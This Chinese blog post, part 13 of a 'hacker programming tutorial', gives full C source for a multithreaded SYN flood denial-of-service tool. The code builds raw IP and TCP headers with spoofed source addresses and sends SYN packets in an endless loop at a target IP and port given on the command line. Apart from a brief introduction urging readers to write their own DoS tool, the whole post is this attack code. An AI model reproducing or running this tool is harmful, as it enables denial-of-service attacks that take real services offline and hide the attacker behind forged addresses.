黑客编程教程(十三)多线程DOS程序

DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西. 
 现在我们就自己编写一个DOS工具.

 

 

#include <winsock2.h>

#include <Ws2tcpip.h> 

#include <stdio.h>

 

#pragma comment(lib,"ws2_32.lib")

#define SEQ 0x28376839

 

int threadnum,maxthread,port;

char *DestIP; //目标IP

 

void display(void)   // 定义状态提示函数 

{ 

static int play=0;

// 进度条 

char *plays[12]= 

{ 

" | ", 

  " / ", 

  " - ", 

  " \\ ",

  " | ", 

  " / ", 

  " - ", 

  " \\ ", 

  " | ", 

  " / ", 

  " - ", 

  " \\ ", 

}; 

 

printf("=%s= %d threads \r", plays[play],threadnum);

play=(play==11)?0:play+1;

} 

 

//定义一个tcphdr结构来存放TCP首部

typedef struct tcphdr

{

USHORT th_sport; //16位源端口号

USHORT th_dport; //16位目的端口号

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度+6位保留字中的4位

unsigned char th_flag; ////6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位效验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER; 

 

//定义一个iphdr来存放IP首部

typedef struct iphdr //ip首部

{

        unsigned char h_verlen; //4位手部长度,和4位IP版本号

        unsigned char tos; //8位类型服务

        unsigned short total_len; //16位总长度

        unsigned short ident; //16位标志

        unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等等)

        unsigned char ttl; //8位生存时间

        unsigned char proto; //8位协议

        unsigned short checksum; //ip手部效验和

        unsigned int sourceIP; //伪造IP地址

        unsigned int destIP; //攻击的ip地址

}IP_HEADER;

 

//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性

struct

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz; //置空

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}PSD_HEADER; 

 

//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)

//然后计算整个IP首部的二进制反码的和。

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) 

{

cksum+=*buffer++;

size-=sizeof(USHORT);

}

if(size) 

cksum+=*(UCHAR*)buffer;

cksum=(cksum >> 16)+(cksum&0xffff);

cksum+=(cksum >>16);

return (USHORT)(~cksum); 

}

 

DWORD WINAPI SynfloodThread(LPVOID lp) //synflood线程函数

{

 

SOCKET  sock =NULL;

int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;

struct sockaddr_in sockAddr;

TCP_HEADER  tcpheader;

IP_HEADER   ipheader;

char        sendBuf[128];

 

sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if(sock==INVALID_SOCKET)

{

printf("Socket failed: %d\n",WSAGetLastError());

return 0;

}

 

//设置IP_HDRINCL以便自己填充IP首部

ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

{

       printf("Set sockopt failed: %d\n",WSAGetLastError());

return 0;

}

//设置发送超时

ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR)

{

       printf("Set sockopt time out failed: %d\n",WSAGetLastError());

return 0;

}

     //设置目标地址

memset(&sockAddr,0,sizeof(sockAddr));

sockAddr.sin_family=AF_INET;

sockAddr.sin_addr.s_addr =inet_addr(DestIP);

FakeIpNet=inet_addr(DestIP);

FakeIpHost=ntohl(FakeIpNet);

     //填充IP首部

ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));

ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));

ipheader.ident = 1;

ipheader.frag_and_flags = 0;

ipheader.ttl = 128;

ipheader.proto = IPPROTO_TCP;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

ipheader.destIP = inet_addr(DestIP);

     //填充TCP首部

tcpheader.th_dport=htons(port);

tcpheader.th_sport = htons(8080);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_ack = 0;

tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);

tcpheader.th_flag = 2;

tcpheader.th_win = htons(16384);

tcpheader.th_urp = 0;

tcpheader.th_sum = 0;

 

PSD_HEADER.saddr=ipheader.sourceIP;

PSD_HEADER.daddr=ipheader.destIP;

PSD_HEADER.mbz=0; 

PSD_HEADER.ptcl=IPPROTO_TCP;

PSD_HEADER.tcpl=htons(sizeof(tcpheader));

 

for(;;)

{

 

        SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_sport = htons(SendSEQ);

tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;

//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和

memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));

memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));

tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

 

memcpy(sendBuf,&ipheader,sizeof(ipheader));

memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));

memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);

dataSize=sizeof(ipheader)+sizeof(tcpheader);

ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);

memcpy(sendBuf,&ipheader,sizeof(ipheader));

 

sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));

   display();

   

 

}

    Sleep(20);

    InterlockedExchangeAdd((long *)&threadnum,-1);

 

return 0;

}

 

void usage(char *name)

{

printf("\t===================SYN Flood======================\n");

printf("\t==========gxisone@hotmail.com     2004/7/6========\n");

printf("\tusage: %s [dest_IP] [port] [thread]\n",name);

printf("\tExample: %s 192.168.1.1 80 100\n",name);

}

 

int main(int argc,char* argv[])

{

    

if(argc!=4)

{

 

usage(argv[0]);

return 0;

}

usage(argv[1]);

 

int ErrorCode=0;

DestIP=argv[1]; //取得目标主机IP

port=atoi(argv[2]); //取得目标端口号

maxthread=(maxthread>100)?100:atoi(argv[3]);

//如果线程数大于100则把线程数设置为100

 

WSADATA wsaData;

 

if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){

       printf("WSAStartup failed: %d\n",ErrorCode); 

       return 0;

}

 

 

 

printf("[start]...........\nPress any key to stop!\n");

 

while(threadnum<maxthread) //循环创建线程

{

    if(CreateThread(NULL,0,SynfloodThread,0,0,0))

{

Sleep(10);

   threadnum++;

}

}

WSACleanup();

printf("\n[Stopd]...........\n");

 

return 0;

}

 

 

posted @ 2013-07-17 13:43  如.若  阅读(753)  评论(0编辑  收藏  举报